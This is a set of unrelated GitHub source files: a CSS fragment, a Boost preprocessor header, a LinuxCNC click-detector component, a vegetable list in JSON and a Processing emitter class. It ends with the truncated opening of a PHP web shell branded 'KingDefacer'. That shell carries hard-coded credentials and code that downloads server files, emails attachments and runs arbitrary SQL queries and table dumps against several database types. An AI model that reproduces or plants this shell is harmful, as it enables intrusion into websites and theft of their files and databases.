input[type="color"]{ border: 1px solid #E6E6E6; padding: 10px; width: 100%; } .contact-form-template-basic form { padding: 40px 0; } /* /Basic */ /* */ [class*='contact-form-template-'] .mw-custom-field-upload input{ width:60%; float: left; margin-right: 12px; }
{ "pile_set_name": "Github" }
// (C) Copyright Edward Diener 2011-2015 // Use, modification and distribution are subject to the Boost Software License, // Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt). #if !defined(BOOST_VMD_ASSERT_IS_IDENTIFIER_HPP) #define BOOST_VMD_ASSERT_IS_IDENTIFIER_HPP #include <boost/vmd/detail/setup.hpp> #if BOOST_PP_VARIADICS /* The succeeding comments in this file are in doxygen format. */ /** \file */ /** \def BOOST_VMD_ASSERT_IS_IDENTIFIER(...) \brief Asserts that the sequence is an identifier. The macro checks that the sequence is an identifier. If it is not an identifier, it forces a compiler error. The macro normally checks for an identifier only in debug mode. However an end-user can force the macro to check or not check by defining the macro BOOST_VMD_ASSERT_DATA to 1 or 0 respectively. ... = variadic parameters The variadic parameters are: sequence = A sequence to test as an identifier. ids (optional) = The data may take one of two forms: it is either one or more single identifiers or a single Boost PP tuple of identifiers. returns = Normally the macro returns nothing. If the sequence is an identifier, nothing is output. If optional ids are specified, for the sequence to be an identifier it must be an identifier that matches one of the optional ids. For VC++, because there is no sure way of forcing a compiler error from within a macro without producing output, if the sequence is not an identifier the macro forces a compiler error by outputting invalid C++. For all other compilers a compiler error is forced without producing output if the sequence is not an identifier. Identifiers are registered in VMD with: #define BOOST_VMD_REG_XXX (XXX) where XXX is a v-identifier. The identifier must be registered to be found. Identifiers are pre-detected in VMD with: #define BOOST_VMD_DETECT_XXX_XXX where XXX is an identifier. If you specify optional ids and have not specified the detection of an optional id, that id will never match an identifier. */ /** \def BOOST_VMD_ASSERT_IS_IDENTIFIER_D(d,...) \brief Asserts that the sequence is an identifier. Re-entrant version. The macro checks that the sequence is an identifier. If it is not an identifier, it forces a compiler error. The macro normally checks for an identifier only in debug mode. However an end-user can force the macro to check or not check by defining the macro BOOST_VMD_ASSERT_DATA to 1 or 0 respectively. d = The next available BOOST_PP_WHILE iteration. ... = variadic parameters The variadic parameters are: sequence = A sequence to test as an identifier. ids (optional) = The data may take one of two forms: it is either one or more single identifiers or a single Boost PP tuple of identifiers. returns = Normally the macro returns nothing. If the sequence is an identifier, nothing is output. If optional ids are specified, for the sequence to be an identifier it must be an identifier that matches one of the optional ids. For VC++, because there is no sure way of forcing a compiler error from within a macro without producing output, if the sequence is not an identifier the macro forces a compiler error by outputting invalid C++. For all other compilers a compiler error is forced without producing output if the sequence is not an identifier. Identifiers are registered in VMD with: #define BOOST_VMD_REG_XXX (XXX) where XXX is a v-identifier. The identifier must be registered to be found. Identifiers are pre-detected in VMD with: #define BOOST_VMD_DETECT_XXX_XXX where XXX is an identifier. If you specify optional ids and have not specified the detection of an optional id, that id will never match an identifier. */ #if !BOOST_VMD_ASSERT_DATA #define BOOST_VMD_ASSERT_IS_IDENTIFIER(...) #define BOOST_VMD_ASSERT_IS_IDENTIFIER_D(d,...) #else #include <boost/vmd/assert.hpp> #include <boost/vmd/is_identifier.hpp> #define BOOST_VMD_ASSERT_IS_IDENTIFIER(...) \ BOOST_VMD_ASSERT \ ( \ BOOST_VMD_IS_IDENTIFIER(__VA_ARGS__), \ BOOST_VMD_IDENTIFIER_ASSERT_ERROR \ ) \ /**/ #define BOOST_VMD_ASSERT_IS_IDENTIFIER_D(d,...) \ BOOST_VMD_ASSERT \ ( \ BOOST_VMD_IS_IDENTIFIER_D(d,__VA_ARGS__), \ BOOST_VMD_IDENTIFIER_ASSERT_ERROR \ ) \ /**/ #endif // !BOOST_VMD_ASSERT_DATA #endif /* BOOST_PP_VARIADICS */ #endif /* BOOST_VMD_ASSERT_IS_IDENTIFIER_HPP */
{ "pile_set_name": "Github" }
// // This is a single-, double-, triple-, and quadruple-click detector // component for LinuxCNC. // // Copyright 2012 Sebastian Kuzminsky <seb@highlab.com> // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation; either version 2 of the License, or // (at your option) any later version. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with this program; if not, write to the Free Software // Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. // component multiclick "Single-, double-, triple-, and quadruple-click detector"; license "GPL"; pin in bit in "The input line, this is where we look for clicks."; pin out bit single_click "Goes high briefly when a single-click is detected on the 'in' pin."; pin out bit single_click_only """Goes high briefly when a single-click is detected on the 'in' pin and no second click followed it."""; pin out bit double_click "Goes high briefly when a double-click is detected on the 'in' pin."; pin out bit double_click_only """Goes high briefly when a double-click is detected on the 'in' pin and no third click followed it."""; pin out bit triple_click "Goes high briefly when a triple-click is detected on the 'in' pin."; pin out bit triple_click_only """Goes high briefly when a triple-click is detected on the 'in' pin and no fourth click followed it."""; pin out bit quadruple_click "Goes high briefly when a quadruple-click is detected on the 'in' pin."; pin out bit quadruple_click_only """Goes high briefly when a quadruple-click is detected on the 'in' pin and no fifth click followed it."""; // for debugging pin out s32 state; param rw bit invert_input = FALSE """If FALSE (the default), clicks start with rising edges. If TRUE, clicks start with falling edges."""; param rw u32 max_hold_ns = 250000000 """If the input is held down longer than this, it's not part of a multi-click. (Default 250,000,000 ns, 250 ms.)"""; param rw u32 max_space_ns = 250000000 """If the input is released longer than this, it's not part of a multi-click. (Default 250,000,000 ns, 250 ms.)"""; param rw u32 output_hold_ns = 100000000 """Positive pulses on the output pins last this long. (Default 100,000,000 ns, 100 ms.)"""; variable int click_state = 0; // wish i could have an enum type here // // When entering a new non-IDLE state in the state machine, timer is set to // 0 and timeout is set to the timeout for the new state. // // Each time the component's function runs and the state machine is not // IDLE, the timer is incremented by the thread period. When the timer // exceeds the timeout, the state machine resets. // variable unsigned timer; variable unsigned timeout; // // When an "X"-click (for X={single,double,triple,quadruple}) is detected, // the X-click pin goes high and the X_click_hold_timer is set to the // output_hold_ns param. Each invocation of the function, the // X_click_hold_timer is decremented by the thread period, and when the // timer falls below 0, the X-click output pin goes back to low again. // // Similarly for the X_click_only_hold_timer, but it doesnt start until // max_space_ns after the click is detected (to ensure that this is not an // X+1 click). // variable unsigned single_click_hold_timer; variable unsigned single_click_only_hold_timer; variable unsigned double_click_hold_timer; variable unsigned double_click_only_hold_timer; variable unsigned triple_click_hold_timer; variable unsigned triple_click_only_hold_timer; variable unsigned quadruple_click_hold_timer; variable unsigned quadruple_click_only_hold_timer; description """A click is defined as a rising edge on the 'in' pin, followed by the 'in' pin being True for at most 'max-hold-ns' nanoseconds, followed by a falling edge. A double-click is defined as two clicks, separated by at most 'max-space-ns' nanoseconds with the 'in' pin in the False state. I bet you can guess the definition of triple- and quadruple-click. You probably want to run the input signal through a debounce component before feeding it to the multiclick detector, if the input is at all noisy. The '*-click' pins go high as soon as the input detects the correct number of clicks. The '*-click-only' pins go high a short while after the click, after the click separator space timeout has expired to show that no further click is coming. This is useful for triggering halui MDI commands."""; function _ nofp "Detect single-, double-, triple-, and quadruple-clicks"; ;; typedef enum { IDLE = 0, SAW_FIRST_RISING_EDGE, SAW_FIRST_CLICK, SAW_SECOND_RISING_EDGE, SAW_SECOND_CLICK, SAW_THIRD_RISING_EDGE, SAW_THIRD_CLICK, SAW_FOURTH_RISING_EDGE, SAW_FOURTH_CLICK, HELD_TOO_LONG } state_t; FUNCTION(_) { int new_in = in; if (1 == invert_input) { new_in = !new_in; } if (click_state != IDLE) { timer += period; } // // update the output pins // if (single_click_hold_timer > 0) { if (single_click_hold_timer > period) { single_click_hold_timer -= period; } else { single_click_hold_timer = 0; single_click = 0; } } if (single_click_only_hold_timer > 0) { if (single_click_only_hold_timer > period) { single_click_only_hold_timer -= period; } else { single_click_only_hold_timer = 0; single_click_only = 0; } } if (double_click_hold_timer > 0) { if (double_click_hold_timer > period) { double_click_hold_timer -= period; } else { double_click_hold_timer = 0; double_click = 0; } } if (double_click_only_hold_timer > 0) { if (double_click_only_hold_timer > period) { double_click_only_hold_timer -= period; } else { double_click_only_hold_timer = 0; double_click_only = 0; } } if (triple_click_hold_timer > 0) { if (triple_click_hold_timer > period) { triple_click_hold_timer -= period; } else { triple_click_hold_timer = 0; triple_click = 0; } } if (triple_click_only_hold_timer > 0) { if (triple_click_only_hold_timer > period) { triple_click_only_hold_timer -= period; } else { triple_click_only_hold_timer = 0; triple_click_only = 0; } } if (quadruple_click_hold_timer > 0) { if (quadruple_click_hold_timer > period) { quadruple_click_hold_timer -= period; } else { quadruple_click_hold_timer = 0; quadruple_click = 0; } } if (quadruple_click_only_hold_timer > 0) { if (quadruple_click_only_hold_timer > period) { quadruple_click_only_hold_timer -= period; } else { quadruple_click_only_hold_timer = 0; quadruple_click_only = 0; } } // // update state, if needed // switch (click_state) { case IDLE: { if (1 == new_in) { click_state = SAW_FIRST_RISING_EDGE; timer = 0; timeout = max_hold_ns; } break; } case SAW_FIRST_RISING_EDGE: { if (0 == new_in) { click_state = SAW_FIRST_CLICK; timer = 0; timeout = max_space_ns; single_click = 1; single_click_hold_timer = output_hold_ns; } break; } case SAW_FIRST_CLICK: { if (1 == new_in) { click_state = SAW_SECOND_RISING_EDGE; timer = 0; timeout = max_hold_ns; } break; } case SAW_SECOND_RISING_EDGE: { if (0 == new_in) { click_state = SAW_SECOND_CLICK; timer = 0; timeout = max_space_ns; double_click = 1; double_click_hold_timer = output_hold_ns; } break; } case SAW_SECOND_CLICK: { if (1 == new_in) { click_state = SAW_THIRD_RISING_EDGE; timer = 0; timeout = max_hold_ns; } break; } case SAW_THIRD_RISING_EDGE: { if (0 == new_in) { click_state = SAW_THIRD_CLICK; timer = 0; timeout = max_space_ns; triple_click = 1; triple_click_hold_timer = output_hold_ns; } break; } case SAW_THIRD_CLICK: { if (1 == new_in) { click_state = SAW_FOURTH_RISING_EDGE; timer = 0; timeout = max_hold_ns; } break; } case SAW_FOURTH_RISING_EDGE: { if (0 == new_in) { // four clicks is the most we look for, and we just saw it, // so we're done now click_state = SAW_FOURTH_CLICK; timer = 0; timeout = max_space_ns; quadruple_click = 1; quadruple_click_hold_timer = output_hold_ns; } break; } case SAW_FOURTH_CLICK: { if (1 == new_in) { click_state = HELD_TOO_LONG; } break; } case HELD_TOO_LONG: { if (0 == new_in) { click_state = IDLE; } break; } default: { // invalid click_state! click_state = IDLE; } } if ((click_state != IDLE) && (click_state != HELD_TOO_LONG) && (timer > timeout)) { if (1 == new_in) { click_state = HELD_TOO_LONG; } else { // timeout after some activity on the input line, trigger one // of the "only" outputs if appropriate switch (click_state) { case SAW_FIRST_CLICK: { single_click_only = 1; single_click_only_hold_timer = output_hold_ns; break; } case SAW_SECOND_CLICK: { double_click_only = 1; double_click_only_hold_timer = output_hold_ns; break; } case SAW_THIRD_CLICK: { triple_click_only = 1; triple_click_only_hold_timer = output_hold_ns; break; } case SAW_FOURTH_CLICK: { quadruple_click_only = 1; quadruple_click_only_hold_timer = output_hold_ns; break; } } click_state = IDLE; } } state = click_state; }
{ "pile_set_name": "Github" }
{ "description": "A list of vegetables.", "vegetables": [ "acorn squash", "alfalfa sprout", "amaranth", "anise", "artichoke", "arugula", "asparagus", "aubergine", "azuki bean", "banana squash", "basil", "bean sprout", "beet", "black bean", "black-eyed pea", "bok choy", "borlotti bean", "broad beans", "broccoflower", "broccoli", "brussels sprout", "butternut squash", "cabbage", "calabrese", "caraway", "carrot", "cauliflower", "cayenne pepper", "celeriac", "celery", "chamomile", "chard", "chayote", "chickpea", "chives", "cilantro", "collard green", "corn", "corn salad", "courgette", "cucumber", "daikon", "delicata", "dill", "eggplant", "endive", "fennel", "fiddlehead", "frisee", "garlic", "gem squash", "ginger", "green bean", "green pepper", "habanero", "herbs and spice", "horseradish", "hubbard squash", "jalapeno", "jerusalem artichoke", "jicama", "kale", "kidney bean", "kohlrabi", "lavender", "leek ", "legume", "lemon grass", "lentils", "lettuce", "lima bean", "mamey", "mangetout", "marjoram", "mung bean", "mushroom", "mustard green", "navy bean", "new zealand spinach", "nopale", "okra", "onion", "oregano", "paprika", "parsley", "parsnip", "patty pan", "pea", "pinto bean", "potato", "pumpkin", "radicchio", "radish", "rhubarb", "rosemary", "runner bean", "rutabaga", "sage", "scallion", "shallot", "skirret", "snap pea", "soy bean", "spaghetti squash", "spinach", "squash ", "sweet potato", "tabasco pepper", "taro", "tat soi", "thyme", "topinambur", "tubers", "turnip", "wasabi", "water chestnut", "watercress", "white radish", "yam", "zucchini" ] }
{ "pile_set_name": "Github" }
/* The emitter is just an object that follows the cursor and can spawn new particle objects. It would be easier to just make the location vector match the cursor position but I have opted to use a velocity vector because later I will be allowing for multiple emitters. */ class Emitter{ Vec3D loc; Vec3D vel; Vec3D velToMouse; color myColor; ArrayList particles; Emitter( ){ loc = new Vec3D(); vel = new Vec3D(); velToMouse = new Vec3D(); myColor = color( 1, 1, 1 ); particles = new ArrayList(); } void exist(){ setVelToMouse(); findVelocity(); setPosition(); iterateListExist(); render(); gl.glDisable( GL.GL_TEXTURE_2D ); if( ALLOWTRAILS ) iterateListRenderTrails(); } void setVelToMouse(){ velToMouse.set( mouseX - loc.x, mouseY - loc.y, 0 ); } void findVelocity(){ vel.interpolateToSelf( velToMouse, .35 ); } void setPosition(){ loc.addSelf( vel ); if( ALLOWFLOOR ){ if( loc.y > floorLevel ){ loc.y = floorLevel; vel.y = 0; } } } void iterateListExist(){ for( Iterator it = particles.iterator(); it.hasNext(); ){ Particle p = (Particle) it.next(); if( !p.ISDEAD ){ p.exist(); } else { it.remove(); } } } void render(){ renderImage( emitterImg, loc, 150, myColor, 1.0 ); } void iterateListRenderTrails(){ for( Iterator it = particles.iterator(); it.hasNext(); ){ Particle p = (Particle) it.next(); p.renderTrails(); } } void addParticles( int _amt ){ for( int i=0; i<_amt; i++ ){ particles.add( new Particle( loc, vel ) ); } } }
{ "pile_set_name": "Github" }
<?php $language='eng'; $auth = 0; $name='c5aa3124b1adad080927ce4d144c6b33'; //ronaldo $pass='c5aa3124b1adad080927ce4d144c6b33'; //ronaldo /******************************************************************************************************/ error_reporting(0); set_magic_quotes_runtime(0); @set_time_limit(0); @ini_set('max_execution_time',0); @ini_set('output_buffering',0); $safe_mode = @ini_get('safe_mode'); $version = "2.0.20"; if(version_compare(phpversion(), '4.1.0') == -1) { $_POST = &$HTTP_POST_VARS; $_GET = &$HTTP_GET_VARS; $_SERVER = &$HTTP_SERVER_VARS; } if (@get_magic_quotes_gpc()) { foreach ($_POST as $k=>$v) { $_POST[$k] = stripslashes($v); } foreach ($_SERVER as $k=>$v) { $_SERVER[$k] = stripslashes($v); } } if($auth == 1) { if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass) { header('WWW-Authenticate: Basic realm="KingDefacer"'); header('HTTP/1.0 401 Unauthorized'); exit("<b><a href=id=nobody.com>KingDefacer</a> : Access Denied</b>"); } } $head = '<!-- --> <html> <head> <title>Edited By KingDefacer</title> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> <STYLE> tr { BORDER-RIGHT: #aaaaaa 1px solid; BORDER-TOP: #eeeeee 1px solid; BORDER-LEFT: #eeeeee 1px solid; BORDER-BOTTOM: #aaaaaa 1px solid; } td { BORDER-RIGHT: #aaaaaa 1px solid; BORDER-TOP: #eeeeee 1px solid; BORDER-LEFT: #eeeeee 1px solid; BORDER-BOTTOM: #aaaaaa 1px solid; } .table1 { BORDER-RIGHT: #cccccc 0px; BORDER-TOP: #cccccc 0px; BORDER-LEFT: #cccccc 0px; BORDER-BOTTOM: #cccccc 0px; BACKGROUND-COLOR: #D4D0C8; } .td1 { BORDER-RIGHT: #cccccc 0px; BORDER-TOP: #cccccc 0px; BORDER-LEFT: #cccccc 0px; BORDER-BOTTOM: #cccccc 0px; font: 7pt Verdana; } .tr1 { BORDER-RIGHT: #cccccc 0px; BORDER-TOP: #cccccc 0px; BORDER-LEFT: #cccccc 0px; BORDER-BOTTOM: #cccccc 0px; } table { BORDER-RIGHT: #eeeeee 1px outset; BORDER-TOP: #eeeeee 1px outset; BORDER-LEFT: #eeeeee 1px outset; BORDER-BOTTOM: #eeeeee 1px outset; BACKGROUND-COLOR: #D4D0C8; } input { BORDER-RIGHT: #ffffff 1px solid; BORDER-TOP: #999999 1px solid; BORDER-LEFT: #999999 1px solid; BORDER-BOTTOM: #ffffff 1px solid; BACKGROUND-COLOR: #e4e0d8; font: 8pt Verdana; } select { BORDER-RIGHT: #ffffff 1px solid; BORDER-TOP: #999999 1px solid; BORDER-LEFT: #999999 1px solid; BORDER-BOTTOM: #ffffff 1px solid; BACKGROUND-COLOR: #e4e0d8; font: 8pt Verdana; } submit { BORDER-RIGHT: buttonhighlight 2px outset; BORDER-TOP: buttonhighlight 2px outset; BORDER-LEFT: buttonhighlight 2px outset; BORDER-BOTTOM: buttonhighlight 2px outset; BACKGROUND-COLOR: #e4e0d8; width: 30%; } textarea { BORDER-RIGHT: #ffffff 1px solid; BORDER-TOP: #999999 1px solid; BORDER-LEFT: #999999 1px solid; BORDER-BOTTOM: #ffffff 1px solid; BACKGROUND-COLOR: #e4e0d8; font: Fixedsys bold; } BODY { margin-top: 1px; margin-right: 1px; margin-bottom: 1px; margin-left: 1px; } A:link {COLOR:red; TEXT-DECORATION: none} A:visited { COLOR:red; TEXT-DECORATION: none} A:active {COLOR:red; TEXT-DECORATION: none} A:hover {color:blue;TEXT-DECORATION: none} </STYLE>'; class zipfile { var $datasec = array(); var $ctrl_dir = array(); var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; var $old_offset = 0; function unix2DosTime($unixtime = 0) { $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); if ($timearray['year'] < 1980) { $timearray['year'] = 1980; $timearray['mon'] = 1; $timearray['mday'] = 1; $timearray['hours'] = 0; $timearray['minutes'] = 0; $timearray['seconds'] = 0; } return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); } function addFile($data, $name, $time = 0) { $name = str_replace('\\', '/', $name); $dtime = dechex($this->unix2DosTime($time)); $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1]; eval('$hexdtime = "' . $hexdtime . '";'); $fr = "\x50\x4b\x03\x04"; $fr .= "\x14\x00"; $fr .= "\x00\x00"; $fr .= "\x08\x00"; $fr .= $hexdtime; $unc_len = strlen($data); $crc = crc32($data); $zdata = gzcompress($data); $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); $c_len = strlen($zdata); $fr .= pack('V', $crc); $fr .= pack('V', $c_len); $fr .= pack('V', $unc_len); $fr .= pack('v', strlen($name)); $fr .= pack('v', 0); $fr .= $name; $fr .= $zdata; $this -> datasec[] = $fr; $cdrec = "\x50\x4b\x01\x02"; $cdrec .= "\x00\x00"; $cdrec .= "\x14\x00"; $cdrec .= "\x00\x00"; $cdrec .= "\x08\x00"; $cdrec .= $hexdtime; $cdrec .= pack('V', $crc); $cdrec .= pack('V', $c_len); $cdrec .= pack('V', $unc_len); $cdrec .= pack('v', strlen($name) ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('V', 32 ); $cdrec .= pack('V', $this -> old_offset ); $this -> old_offset += strlen($fr); $cdrec .= $name; $this -> ctrl_dir[] = $cdrec; } function file() { $data = implode('', $this -> datasec); $ctrldir = implode('', $this -> ctrl_dir); return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00"; } } function compress(&$filename,&$filedump,$compress) { global $content_encoding; global $mime_type; if ($compress == 'bzip' && @function_exists('bzcompress')) { $filename .= '.bz2'; $mime_type = 'application/x-bzip2'; $filedump = bzcompress($filedump); } else if ($compress == 'gzip' && @function_exists('gzencode')) { $filename .= '.gz'; $content_encoding = 'x-gzip'; $mime_type = 'application/x-gzip'; $filedump = gzencode($filedump); } else if ($compress == 'zip' && @function_exists('gzcompress')) { $filename .= '.zip'; $mime_type = 'application/zip'; $zipfile = new zipfile(); $zipfile -> addFile($filedump, substr($filename, 0, -4)); $filedump = $zipfile -> file(); } else { $mime_type = 'application/octet-stream'; } } function mailattach($to,$from,$subj,$attach) { $headers = "From: $from\r\n"; $headers .= "MIME-Version: 1.0\r\n"; $headers .= "Content-Type: ".$attach['type']; $headers .= "; name=\"".$attach['name']."\"\r\n"; $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; if(@mail($to,$subj,"",$headers)) { return 1; } return 0; } class my_sql { var $host = 'localhost'; var $port = ''; var $user = ''; var $pass = ''; var $base = ''; var $db = ''; var $connection; var $res; var $error; var $rows; var $columns; var $num_rows; var $num_fields; var $dump; function connect() { switch($this->db) { case 'MySQL': if(empty($this->port)) { $this->port = '3306'; } if(!function_exists('mysql_connect')) return 0; $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); if(is_resource($this->connection)) return 1; break; case 'MSSQL': if(empty($this->port)) { $this->port = '1433'; } if(!function_exists('mssql_connect')) return 0; $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); if($this->connection) return 1; break; case 'PostgreSQL': if(empty($this->port)) { $this->port = '5432'; } $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; if(!function_exists('pg_connect')) return 0; $this->connection = @pg_connect($str); if(is_resource($this->connection)) return 1; break; case 'Oracle': if(!function_exists('ocilogon')) return 0; $this->connection = @ocilogon($this->user, $this->pass, $this->base); if(is_resource($this->connection)) return 1; break; } return 0; } function select_db() { switch($this->db) { case 'MySQL': if(@mysql_select_db($this->base,$this->connection)) return 1; break; case 'MSSQL': if(@mssql_select_db($this->base,$this->connection)) return 1; break; case 'PostgreSQL': return 1; break; case 'Oracle': return 1; break; } return 0; } function query($query) { $this->res=$this->error=''; switch($this->db) { case 'MySQL': if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) { $this->error = @mysql_error($this->connection); return 0; } else if(is_resource($this->res)) { return 1; } return 2; break; case 'MSSQL': if(false===($this->res=@mssql_query($query,$this->connection))) { $this->error = 'Query error'; return 0; } else if(@mssql_num_rows($this->res) > 0) { return 1; } return 2; break; case 'PostgreSQL': if(false===($this->res=@pg_query($this->connection,$query))) { $this->error = @pg_last_error($this->connection); return 0; } else if(@pg_num_rows($this->res) > 0) { return 1; } return 2; break; case 'Oracle': if(false===($this->res=@ociparse($this->connection,$query))) { $this->error = 'Query parse error'; } else { if(@ociexecute($this->res)) { if(@ocirowcount($this->res) != 0) return 2; return 1; } $error = @ocierror(); $this->error=$error['message']; } break; } return 0; } function get_result() { $this->rows=array(); $this->columns=array(); $this->num_rows=$this->num_fields=0; switch($this->db) { case 'MySQL': $this->num_rows=@mysql_num_rows($this->res); $this->num_fields=@mysql_num_fields($this->res); while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res))); @mysql_free_result($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} break; case 'MSSQL': $this->num_rows=@mssql_num_rows($this->res); $this->num_fields=@mssql_num_fields($this->res); while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res))); @mssql_free_result($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}; break; case 'PostgreSQL': $this->num_rows=@pg_num_rows($this->res); $this->num_fields=@pg_num_fields($this->res); while(false !== ($this->rows[] = @pg_fetch_assoc($this->res))); @pg_free_result($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} break; case 'Oracle': $this->num_fields=@ocinumcols($this->res); while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++; @ocifreestatement($this->res); if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;} break; } return 0; } function dump($table) { if(empty($table)) return 0; $this->dump=array(); $this->dump[0] = '##'; $this->dump[1] = '## --------------------------------------- '; $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s"); $this->dump[3] = '## Database: '.$this->base; $this->dump[4] = '## Table: '.$table; $this->dump[5] = '## --------------------------------------- '; switch($this->db) { case 'MySQL': $this->dump[0] = '## MySQL dump'; if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; $this->dump[] = $this->rows[0]['Create Table']; $this->dump[] = '## --------------------------------------- '; if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);} $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; } break; case 'MSSQL': $this->dump[0] = '## MSSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; } break; case 'PostgreSQL': $this->dump[0] = '## PostgreSQL dump'; if($this->query('SELECT * FROM '.$table)!=1) return 0; if(!$this->get_result()) return 0; for($i=0;$i<$this->num_rows;$i++) { foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);} $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');'; } break; case 'Oracle': $this->dump[0] = '## ORACLE dump'; $this->dump[] = '## under construction'; break; default: return 0; break; } return 1; } function close() { switch($this->db) { case 'MySQL': @mysql_close($this->connection); break; case 'MSSQL': @mssql_close($this->connection); break; case 'PostgreSQL': @pg_close($this->connection); break; case 'Oracle': @oci_close($this->connection); break; } } function affected_rows() { switch($this->db) { case 'MySQL': return @mysql_affected_rows($this->res); break; case 'MSSQL': return @mssql_affected_rows($this->res); break; case 'PostgreSQL': return @pg_affected_rows($this->res); break; case 'Oracle': return @ocirowcount($this->res); break; default: return 0; break; } } } if(isset($_GET['img'])&&!empty($_GET['img'])) { $images = array(); $images[1]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI9pkODnYohUhQIAOw=='; $images[2]='R0lGODlhBwAHAIAAAAAAAP///yH5BAEAAAEALAAAAAAHAAcAAAILjI+pwA3hnmlJhgIAOw=='; @ob_clean(); header("Content-type: image/gif"); echo base64_decode($images[$_GET['img']]); die(); } if(isset($_POST['cmd']) && !empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) { if(!$file=@fopen($_POST['d_name'],"r")) { echo re($_POST['d_name']); $_POST['cmd']=""; } else { @ob_clean(); $filename = @basename($_POST['d_name']); $filedump = @fread($file,@filesize($_POST['d_name'])); fclose($file); $content_encoding=$mime_type=''; compress($filename,$filedump,$_POST['compress']); if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); } header("Content-type: ".$mime_type); header("Content-disposition: attachment; filename=\"".$filename."\";"); echo $filedump; exit(); } } if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); } if ($_POST['cmd']=="db_query") { echo $head; $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $_POST['mysql_l']; $sql->pass = $_POST['mysql_p']; $sql->base = $_POST['mysql_db']; $querys = @explode(';',$_POST['db_query']); if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>"; else { if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>"; else { foreach($querys as $num=>$query) { if(strlen($query)>5) { echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>"; switch($sql->query($query)) { case '0': echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>"; break; case '1': if($sql->get_result()) { echo "<table width=100%>"; foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES); $keys = @implode("&nbsp;</b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;", $sql->columns); echo "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b>&nbsp;".$keys."&nbsp;</b></font></td></tr>"; for($i=0;$i<$sql->num_rows;$i++) { foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES); $values = @implode("&nbsp;</font></td><td><font face=Verdana size=-2>&nbsp;",$sql->rows[$i]); echo '<tr><td><font face=Verdana 